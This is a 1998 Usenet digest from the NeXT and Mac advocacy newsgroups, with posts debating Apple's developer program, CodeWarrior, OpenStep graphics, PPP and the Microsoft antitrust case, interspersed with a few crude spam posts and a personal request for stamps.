testimonial Microsoft has nothing to do with visit:
http://members.tripod.com~TheMicrosoftMoof/MSD-1.html
and;
http://www.geocities.com/SiliconValley/Campus/7177/moofiepagefour.html
There are links enabling to to tell BUSINESSWEEK what you think the
disposition of the case against Microsoft should be as well as an opportunity
to sign a petition involving the case.
Let your voice be heard!
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 18 Apr 1998 00:17:03 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15DA2B1-314B7@206.165.43.134>
References: <6h99ll$e8t$1@news.digifix.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Scott Anguish <sanguish@digifix.com> said:
> So what you're saying is that Apple is now offering a complete
> (and according to the Mac faithful, amazing) IDE for free in the form
> of CodeWarrior Lite..
>
Which has been available for over a year if you purchased an intro to
Codewarrior book, and has been available for several months (at least) as a
standalone download at Metrowerks.
Nothing new, as I said.
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jamesku@mbox5.singnet.com.sg
Newsgroups: comp.sys.next.advocacy
Subject: Wooing a lady with stamps
Date: Sat, 18 Apr 1998 15:28:22 -0700
Organization: Singapore Telecommunications Ltd
Message-ID: <180498152822@mbox5.singnet.com.sg>
Wooing a lady with stamps
I am wooing a lady whom I am madly in love with. She like to collect stamps.
Her birthday is coming in a few months. I intent to win her heart by give her
some stamps as her birthday present. Could any one spare me some stamps
of your country that is of course common to you but exotic to me ? I have
some stamps which I have received from friends all over the world. If you
would like to have stamps of a particular country, just name it, if I have it,
I will send them to you. My address is :
Ku Teng Chai
Blk 53 #10-122
Pipit Road
Singapore 370053
If you have any enquiries, pls email me.
jamesku@mbox5.singnet.com.sg
From: wmurphy@fox.nstn.ca
Newsgroups: comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops
Subject: SOME LIKE IT DRIPPING WETT !!! @@@@ 73185
Date: Saturday, 18 Apr 1998 13:12:55 -0600
Organization: <no organization>
Distribution: World
Message-ID: <18049813.1255@fox.nstn.ca>
Here are some pics of my College Days!!!
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From: nobody@nowhere33.yet
Newsgroups: comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops
Subject: Can you believe a pussy could strech so far? 86330
Date: Saturday, 18 Apr 1998 13:16:06 -0600
Organization: <no organization>
Distribution: World
Message-ID: <18049813.1606@nowhere33.yet>
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No fees whatsoever!
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From: nobody@nowhere33.yet
Newsgroups: comp.sys.newton.programmer,comp.sys.next.advocacy,comp.sys.next.hardware,comp.sys.next.marketplace,comp.sys.next.misc,comp.sys.next.programmer,comp.sys.next.software,comp.sys.next.sysadmin,comp.sys.palmtops
Subject: Hot face with a hard cock fucking it good! 57530
Date: Saturday, 18 Apr 1998 13:17:00 -0600
Organization: <no organization>
Distribution: World
Message-ID: <18049813.1700@nowhere33.yet>
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From: lars.farm@ite.mh.se (Lars Farm)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 18 Apr 1998 14:25:59 +0200
Organization: pv
Message-ID: <1d7oksn.4g8f7x9gri2aN@dialup72-4-39.swipnet.se>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org> <1d7lsyf.sk8ovhzst6cyN@rhrz-isdn3-p4.rhrz.uni-bonn.de>
Cache-Post-Path: nn1!s-49817@dialup72-4-39.swipnet.se
Michael Schuerig <schuerig@acm.org> wrote:
> Jason S. <jason@jhste1.dyn.ml.org> wrote:
>
> > Why not do the final build with the Moto compiler (much better than gcc)?
Does it still exist as a supported product? I bought the Motorola
compiler jan last year, including two upgrades. Had some contact with
them for a short while and then silence. No upgrades yet. I thought the
Motorola compiler was discontinued some time ago.
--
Lars Farm; lars.farm@ite.mh.se - Limt/Channelmatic: lars.farm@limt.se
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: Sat, 18 Apr 1998 01:12:41 -0500
Organization: CE Software
Message-ID: <MPG.fa2005050d85d619898b9@news.supernews.com>
References: <6h6i6u$dl4$1@news.digifix.com> <B15C39F3-35CBA@207.217.155.163> <6h8e0n$51f$1@news.digifix.com>
In article <6h8e0n$51f$1@news.digifix.com>, sanguish@digifix.com says...
> My original post was about the fact that Apple's supporting
> Metrowerks vs Cygnus isn't a reasonable comparision.
>
> I KNOW that Metrowerks is important to Mac developers. I know
> that they saved Apple's ass.
>
> I also know that there is a manical loyalty to the IDE...
> having used it some, I just don't understand it though..
>
I've been programming recently in Borland's C++Builder on the PC and
Metrowerks' CodeWarrior on the Mac simultaneously.
While C++Builder's RAD is incredible and I'd pay big bucks if CW did
something similar, I've developed a great appreciation for the IDE.
It's mostly the little things. The popup menu listing functions, and
picking one jumps to that function. The popup menu listing the include
file that file uses, and picking one opens that include file. Command-
tab opening up the file's header file (or bringing it to the front).
Command-click on a function name either opening the source file related
to it, or opening QuickView with the info on that function.
With the Pro series, it's now very easy to create a file with code
resources, and build a fat version of the app in just one build.
And, the integrated source debugger's nice too.
Metrowerks just is a great programming environment. And, since it sprung
on us when our choices were MPW and Symantec, it shone even brighter.
Donald
From: andy@amtmtc.demon.co.uk (Andy Templeman)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: Sat, 18 Apr 1998 16:28:45 +0100
Organization: Not Known
Message-ID: <1d7odgx.1m9kcyj1w7i4zqN@amtmtc.demon.co.uk>
References: <01bd67ec$731a7b20$2ef0bfa8@davidsul> <6h238g$e1p$1@gaea.omnigroup.com> <01bd689d$48e281c0$33f0bfa8@davidsul> <6h53jl$9sp$10@ironhorse.plsys.co.uk> <01bd6a6c$5204cb20$32f0bfa8@davidsul> <6h8ee9$54s$1@news.digifix.com> <B15D1673-5C9FF@206.165.43.62> <6h99ll$e8t$1@news.digifix.com>
Scott Anguish <sanguish@digifix.com> wrote:
>
> So what you're saying is that Apple is now offering a complete
> (and according to the Mac faithful, amazing) IDE for free in the form
> of CodeWarrior Lite..
>
>
If that CodeWarrior Lite is the same one I got from a book/CD package
then It can't create new projects, so is little use for any real MacOS
development. (There are workrounds though).
If you want to do MacOS development for free, you can download the
non-IDE MPW from Apple's web site.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 18 Apr 1998 16:01:34 GMT
Organization: P & L Systems
Message-ID: <6haiou$57p$3@ironhorse.plsys.co.uk>
References: <6h1946$e04$1@news.digifix.com> <B1598D68-63F23@206.165.43.216>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1598D68-63F23@206.165.43.216> "Lawson English" wrote:
> It is interesting that some developers are complaining about losing the
> developer discounts while others are claiming that those discounts weren't
> worth anything in the first place while others are claiming that the
> discount program was severely abused...
>
> Who to believe?
>
Given that scenario, probably Apple when they say that overall the changes
are fair.
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 18 Apr 1998 15:59:14 GMT
Organization: P & L Systems
Message-ID: <6haiki$57p$2@ironhorse.plsys.co.uk>
References: <6h7p8t$58j$8@ironhorse.plsys.co.uk> <B15D0C1B-35BC6@206.165.43.62>
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Cc: english@primenet.com
In <B15D0C1B-35BC6@206.165.43.62> "Lawson English" wrote:
> mmalcolm crawford <malcolm@plsys.co.uk> said:
>
> > Oooh, gosh. You remember when Greg Andreson, president of AFS answered
> > a question in comp.sys.next.* And Stan Jirman, president of Caffiene.
> > And Wil Shipley, president of Omni Group. And...
>
> And their investment banker was lurking in these groups and answered the
> question, also?
>
Don't think so; I don't think they have investment bankers, and if they do
certainly not ones that need to watch them that closely...
mmalc.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 18 Apr 1998 16:13:15 GMT
Organization: P & L Systems
Message-ID: <6hajer$57p$4@ironhorse.plsys.co.uk>
References: <6b51f7$j67$6@ironhorse.plsys.co.uk> <slrn6eufov.fme.sal@panix3.panix.com>
<6cvpdo$cmu$7@quasar.dimensional.com> <slrn6f7cgk.lhl.sal@panix3.panix.com>
<34F40BA0.716A@remove.muenchen.this.org.junk> <6d1e5c$bno$1@bignews.shef.ac.uk>
<6devrh$ra1$5@quasar.dimensional.com> <6df800$fn6$29@ironhorse.plsys.co.uk>
<6dfpj6$3o0$5@quasar.dimensional.com> <slrn6fn6au.cnk.sal@panix3.panix.com>
<6gumlt$4m9$1@quasar.dimensional.com> <slrn6jdmtr.3u2.sal@panix3.panix.com>
<6h8g9l$48$1@quasar.dimensional.com>
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Cc: Ken@_$spamless$_KenAndTed.com
In <6h8g9l$48$1@quasar.dimensional.com> Kenneth R. Kinder wrote:
> Well, OpenStep is not in question. NextStep is.
>
What on earth has NEXTSTEP to do with this?!
mmalc.
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: letter to macnn about developer article
Date: 18 Apr 1998 16:59:40 GMT
Message-ID: <01bd6b25$a24f2620$1bf0bfa8@davidsul>
References: <6h8ee9$54s$1@news.digifix.com> <B15D1673-5C9FF@206.165.43.62> <6h99ll$e8t$1@news.digifix.com>
> So what you're saying is that Apple is now offering a complete
> (and according to the Mac faithful, amazing) IDE for free in the form
> of CodeWarrior Lite..
NO!! What he said was, BFD, the ide was *ALREADY* FREE, you could simply
download it from metrowerks web page. And I doubt ANYONE thinks
Codewarrior *LITE* is amazing. How is a developer even supposed to use
it?!?!? YOu cant even create a new project???
From: willadams@aol.com (WillAdams)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Message-ID: <1998041817502900.NAA02191@ladder03.news.aol.com>
Date: 18 Apr 1998 17:50:29 GMT
Organization: AOL http://www.aol.com
References: <B15D1B33-6E7F3@206.165.43.62>
Yes, but Ready Set Go isn't supported by very many service bureaus.
I'd be interested in learning of workarounds for getting output from
imagesetters using GX, also on how to manipulate intercharacterpair kerning
within a GX application with a GX font.
As I've noted previously, I think (or would like to think) highly of GX, but
it's not very workable from a professional printer's point of view.
William
William Adams
http://members.aol.com/willadams
Sphinx of black quartz, judge my vow.
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 18 Apr 1998 18:37:37 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6harth$d4f$1@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fnt3g$r69$1@news.cs.tu-berlin.de> <6fva58$6th$1@quasar.dimensional.com> <slrn6i8057.kjl.sal@panix3.panix.com> <6g6f8i$atu$2@quasar.dimensional.com> <slrn6ife6g.dbp.sal@panix3.panix.com> <6g8fl6$la7$1@quasar.dimensional.com> <slrn6igl3f.qlh.sal@panix3.panix.com> <6ggm4n$1kt$4@quasar.dimensional.com> <slrn6jdmrc.3u2.sal@panix3.panix.com>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <slrn6jdmrc.3u2.sal@panix3.panix.com> , Salvatore Denaro <sal@panix3.panix.com> wrote:
> http://search.dejanews.com/dnquery.xp?QRY=distributed+objects+sal%40panix.com&svcclass=dncurrent&DBS=1&defaultOp=AND&maxhits=20&ST=QS&format=terse&site=dn
> and this is the "old" list
> http://search.dejanews.com/dnquery.xp?QRY=distributed+objects+sal%40panix.com&svcclass=dnold&DBS=2&defaultOp=AND&maxhits=20&ST=QS&format=terse&site=dn
THis one is a broken link:
" Your search did not match any articles at all. "
> As you can see, I did not use that phrase until you made claims that I
> lied about it.
> I did post about PDO, and this is the URL for it
> http://x4.dejanews.com/getdoc.xp?AN=312243574&CONTEXT=892787299.1704284&hitnum=0
That's not even in the thread.
> I made it very clear that this was an Apple product, and I made no claim
> that is was unique to Apple or to C++
You claimed that distributed objects, were somehow exclusive and/or better on
Objective C and C++.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 18 Apr 1998 18:39:15 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6has0j$d4f$2@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <352A6D21.3FC9A99@cisco.com> <6ggo0q$47c$1@interport.net> <6gm8eo$hom$2@quasar.dimensional.com> <6gnml2$enm@newsb.netnews.att.com> <6guni2$4m9$5@quasar.dimensional.com> <6gvi9o$8u$4@ns3.vrx.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gvi9o$8u$4@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
>> Not ATM. Just a protocal-based system. The cable we all have in our homes
>> is perfectly capable to support a digital low-bandwidth protocal, which is
>> what it should be.
> Oh yeah, great, cable companies providing telephone! Let's see...
Not cable TV, you turkey! Cable... as in that long stretch of copper wire.
Phone companies use "cable" to your great suprise too...
"Duhhhhh... I thought only TV had cable..."
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 18 Apr 1998 18:42:40 GMT
Organization: Dimensional Communications
Sender: Kinder Robert <kinders@flatland.dimensional.com>
Message-ID: <6has70$d4f$3@quasar.dimensional.com>
References: <199801202218001457904@ppp8.hol.fr> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <6fvapb$6th$3@quasar.dimensional.com> <6fvmkt$i4c$4@ns3.vrx.net> <6g6fhr$atu$3@quasar.dimensional.com> <352A6D21.3FC9A99@cisco.com> <6ggn3g$1kt$6@quasar.dimensional.com> <352C14BD.D93282EC@cisco.com> <6gm8tn$hom$5@quasar.dimensional.com> <6gvi56$8u$3@ns3.vrx.net>
User-Agent: tin/pre-1.4-980105 (UNIX) (SunOS/4.1.4 (sun4m))
In comp.os.linux.advocacy , article <6gvi56$8u$3@ns3.vrx.net> , Maury Markowitz <maury@remove_this.istar.ca> wrote:
>> Digital -> Audio/Analog -> Digital
>>
>> As apposed to:
>>
>> Digital
> Your argument, previously unclear, is now clear to me. Your claim is that
> PPP is a hack because the phone system is analogue.
Yes. I apologize for being unclear.
> I don't know what to say, other than this strikes me as even more idiotic
> than your prior claims.
Ok... if you think converting digital data to anolog audio then back again
is elegant, then... maybe when all of us get a protocal-based digital
system, you can use a two tin cans hooked up to a string. :) Hey, isn't
that what CompuServ uses? <grin>
>> A digital protocal-based system. Read that other post... the really long
>> one up a little in the thread. :)
> It is clear then that you should simply send me the money now, as the bet
> clearly specifies PPP as the primarly _dialup_ method. I doubt even you
> think the _phone_ system will change to all-digital in three years, so if you
> care to conceed the astounding $14US, I would be happy to provide my address
> in e-mail.
No, even as a dialup analog system, I suspect PPP will be out dated.
--
H3C-N--C=N | Kenneth R. Kinder, aka Bouncing "code=caffiene*hours"
\==/ | Ken@KenAndTed.com http://www.KenAndTed.com/KensBookmark/
O=<__>N-C3H |
H3C-N \\O | Ken & Ted's Software
_________________| http://www.KenAndTed.com/ Software@KenAndTed.com
From: jason@jhste1.dyn.ml.org (Jason S.)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple developer program
Date: 18 Apr 1998 19:26:57 GMT
Organization: I don't think so
Message-ID: <slrn6jhe8e.6o.jason@jhste1.dyn.ml.org>
References: <slrn6jc76q.9i.jason@jhste1.dyn.ml.org> <1d7lsyf.sk8ovhzst6cyN@rhrz-isdn3-p4.rhrz.uni-bonn.de> <1d7oksn.4g8f7x9gri2aN@dialup72-4-39.swipnet.se>
Lars Farm wrote:
>> > Why not do the final build with the Moto compiler (much better than gcc)?
>Does it still exist as a supported product? I bought the Motorola
>compiler jan last year, including two upgrades. Had some contact with
>them for a short while and then silence. No upgrades yet. I thought the
>Motorola compiler was discontinued some time ago.
If so, it would be nice if Moto GPL'd the sources. The gcc/egcs people
might learn a lot from them.
--
If FreeBSD actually did that, I would concede that FreeBSD was any more
"correct" than Linux is, but not even the FreeBSD people can justify
that kind of performance loss.
-- Linus Torvalds on comp.unix.advocacy
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <3537d48a.0@bonaparte.pixi.com>
Control: cancel <3537d48a.0@bonaparte.pixi.com>
Date: 17 Apr 1998 22:15:40 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.3537d48a.0@bonaparte.pixi.com>
Sender: LaserPointers.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Free markets (Re: Microsoft Faking Testimonials...)
Date: Sat, 18 Apr 1998 17:48:46 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1804981748460001@132.236.171.104>
References: <352EACAE.63C17F01@rs6000.cmp.ilstu.edu> <35330A58.2BFC5C6E@nstar.net> <ericb-1404981347320001@132.236.171.104> <3533BAE1.3B33@CONVEX.COM> <petrichErFM2z.102@netcom.com> <3534508A.22D5D61F@nstar.net> <ericb-1604981500320001@132.236.171.104> <35365DB6.4D5C@CONVEX.COM>
In article <35365DB6.4D5C@CONVEX.COM>, Michael Peck <ECK@CONVEX.COM> wrote:
> > I need to read up on Standard Oil. But correct me if I'm wrong: the
> > market didn't correct itself there.
>
> That's funny! That reminds me of people here who decide a particular
> server is taking too long to boot, so they hit the reset switch. Those
> people generally spend all day hitting reset and, when questioned, claim
> that "they had to do it, it never came up on its own."
Really? Does it also remind you of people who reboot a locked Unix
machine, deciding that they can't wait around to see whether it
unfreezes? Was there just a temporary problem that would have resolved
itself eventaully, or did it really completely lock up?
If it takes a hundred years, is it really worth waiting just to save your
principles, or as a practical matter was it better to take action? Of
course, everyone is going to have a different idea of how long is long
enough to wait before doing something...
> There are legitimate questions, in my mind, about whether the Sherman
> Antitrust Act has violated the United State Constitution. The people
> need to investigate these sorts of concerns.
That's fine with me. I trust that Microsoft will be happy to pursue this
sort of strategy if the DOJ sees fit to challenge Microsoft under the
Sherman Act.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: ericb@pobox.com (Eric Bennett)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: America vs. Europe: education (was Re: Apple developer program)
Date: Sat, 18 Apr 1998 18:04:38 -0400
Organization: Cornell University
Sender: emb22@cornell.edu (Verified)
Message-ID: <ericb-1804981804380001@132.236.171.104>
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com> <MPG.f9f4a88904b40549898b5@news.supernews.com> <ericb-1604981415450001@132.236.171.104> <slrn6jc7ie.9i.jason@jhste1.dyn.ml.org>
In article <slrn6jc7ie.9i.jason@jhste1.dyn.ml.org>,
jason@jhste1.dyn.ml.org (Jason S.) wrote:
> >Unfortunately there is no classroom substitute for the real experience of
> >finally crashing into something.
>
> So I take it that you believe that the more accidents youve had, the better
> driver you are? (Try that one with an insurance agent!)
Well, there is clearly a point of diminishing returns. :-)
I am fortunate enough to have done just about everything wrong with a car
except have an outright accident. I got to learn things the easy way.
Experience is a great teacher, but like any teacher, you can just ignore it.
--
Eric Bennett (www.pobox.com/~ericb)
Cornell University Biochemistry Department
From: Eric Davis <sam@dimensional.com>
Newsgroups: comp.sys.next.misc,comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Rhapsody Intel users in Massachusetts?
Date: Sat, 18 Apr 1998 16:50:02 -0600
Organization: Dimensional Communications
Message-ID: <35392E1A.5ED01CAE@dimensional.com>
References: <6cv6tq$18f$1@eco.3e.org> <6d2utm$1nj$6@duke.squonk.net>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
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I think that breaking a few rules to help get someone off M$oft-based
products is ok...let's not whine about it.
> dmd@eco.3e.org (Daniel M. Drucker) wrote:
> >
> > I'm looking for anyone running Rhapsody for Intel in central or
> > eastern Massachusetts... who would be willing to let me use their
> > installation media. I'm going to puke if I'm forced to follow
> > Redmond for another day.
>
> Anyone with Rhapsody for Intel (as opposed to OpenStep for Intel)
> has it under NDA. I doubt they can just "let people use" their
> installation disks.
>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac programming...
References: <01bd6b0f$26d02aa0$0b0ba8c0@woohoo> <B15E8231-75E71@206.165.43.29>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35393e83.0@206.25.228.5>
Date: 19 Apr 98 00:00:03 GMT
"Lawson English" <english@primenet.com> wrote:
> While this may no longer be the case with YB, ALL NeXTstep
> rendering is done in 32-bit mode and dithered down to the screen
> resolution, or so I have read (corrections always welcome). This
> is fine for high-end DTP, but a bit of overkill for a lots of
> applications, such as ID's Quake editor.
I disagree. I enjoy not having screen poop. It doesn't take 1mb
per window, because the backing store is automatically compressed
on the fly for windows not actively being dinked with. Even if it
did, the smoothness is worth the price in ram/swap, which is dirt
cheap. Much better than the mac/win/nt screen poop/redraw drag,
IMO. YMMV.
> You can change the way in which buffering is done, I'm told, so
> that rendering is done directly on-screen, freeing up 1MB per
> window.
Yea, but why bother.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "NeXT Newbie" <macghod@concentric.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.oop.powerplant,comp.sys.mac.programmer.codewarrior,comp.sys.next.advocacy
Subject: IMPEACH JOBS
Date: 18 Apr 1998 23:56:31 GMT
Message-ID: <01bd6b25$321d87c0$25f0bfa8@davidsul>
We have all heard about all of Jobs pecadillos, about how he screwed THe
Woz out of $200, about how he cusses people out, and quite frankly its time
to get rid of Jobs. He simply LACKS INTEGRITY. You youngins simply dont
value INTEGRITY Like you should!
:)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,soc.culture.usa
Subject: Re: America vs. Europe: education
References: <01bc445f$744397e0$1bf0bfa8@davidsul> <6gecns$f9p$1@news01.deltanet.com> <6gsrle$oop$35@ironhorse.plsys.co.uk> <6gupoo$ogs$1@news3.alpha.net> <ericb-1404981442150001@132.236.171.104> <rmcassid-1404981222220001@dante.eng.uci.edu> <MPG.f9e0bd4339572849898ae@news.supernews.com> <rmcassid-1504981009550001@dante.eng.uci.edu> <6h3vq4$rgu$1@ha2.rdc1.sdca.home.com> <35392938.1DC@accesspro.net>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <35393f02.0@206.25.228.5>
Date: 19 Apr 98 00:02:10 GMT
Adrian Penalo <adrianp@accesspro.net> wrote:
> "America vs. Europe"? Shouldn't it be "The United States vs.
> Europe"? Remember that "America" is the entire Western Hemisphere
> (North, Central, and South America), not only the U.S.A.
You forget, we, citizens of the USA, think the world revolves around
us, and so when we say America and American, we consider ourselves
to be the only relevant portion of the entire region, or the world
for that matter. For the humor impaired --> :)
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: AM/etc requirements for Yellow Box apps (Was Re: Mac
programming...
Date: 18 Apr 1998 17:14:02 -0700
Organization: Primenet Services for the Internet
Message-ID: <B15E911B-ADFAF@206.165.43.29>
References: <35393e83.0@206.25.228.5>
To: "John Kheit" <jkheit@xtdl.com>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
John Kheit <jkheit@xtdl.com> said:
> "Lawson English" <english@primenet.com> wrote:
> > While this may no longer be the case with YB, ALL NeXTstep
> > rendering is done in 32-bit mode and dithered down to the screen
> > resolution, or so I have read (corrections always welcome). This
> > is fine for high-end DTP, but a bit of overkill for a lots of
> > applications, such as ID's Quake editor.
>
> I disagree. I enjoy not having screen poop. It doesn't take 1mb
> per window, because the backing store is automatically compressed
> on the fly for windows not actively being dinked with. Even if it
> did, the smoothness is worth the price in ram/swap, which is dirt
> cheap. Much better than the mac/win/nt screen poop/redraw drag,
> IMO. YMMV.
>
The main programmer from ID wrote a little review of the OpenStep version
of his Quake Editor. He *explicitly* said that the way in which OpenStep
does graphics (32=>8-bit dithering) was unsuitable for this kind of thing.
I imagine that the off-screen window-buffering would have made the problem
worse, not better, in this case because the overhead of 32-bit=>8-bit
bitmap dithering would have simply compounded the problem.
In this case, GX is decidedly superior: you can describe a shape, including
bitmap, using any color space, and render it into any other color space.
Bitmaps and other shapes can be 1-,2-,4-, 8-, 16-, 24-, 32-, and 64-bit so
no dithering need be done for any given screen-depth. (actually, all shapes
are either indexed, or have 5/8/16-bit color channels, but you can specify
that there are only 2 colors in the indexed color table, which effectively
makes it a 1-bit color-space, although I don't believe any RAM is saved by
doing this).
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
Newsgroups: comp.sys.next.advocacy
Subject: Re: FYI: MS Development program
References: <01bd6a2b$12d57940$04387880@test1>
From: John Kheit <jkheit@xtdl.com>
Organization: monoChrome, Inc., NJ, USA
Message-ID: <3538dff2.0@206.25.228.5>
Date: 18 Apr 98 17:16:34 GMT
"Todd Heberlein" <todd@NetSQ.com> wrote:
> Just thought I would throw this out following the discussions on
> Apple's developer program.
> Microsoft Developers Network:
> Online: free (access to web pages)
> Library Subscription: $200
> Professional Subscription: $499
> Universal Subscription: $2000 - $2500
> More details can be found at:
> http://www.microsoft.com/msdn/join/subscriptions.htm
I think the difference is that ms allows the *world* to get beta's,
pretty much at cost. I don't understand why apple doesn't do the
same, since it could only help reliability, and they might even
make a few bucks off it.
--
Thanks, be well, take care, later, John Kheit; self expressed...
__________________________________________________________________
monoChrome, Inc. ASCII, MIME, PGP, SUN, & NeXTmail OK
NeXT/OPENSTEP Developer mailto:jkheit@xtdl.com
Telepathy, It's coming... http://www.xtdl.com/~jkheit
Franklin Pierce Law Center You're dangerous because you're honest
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Microsoft Faking Testimonials...
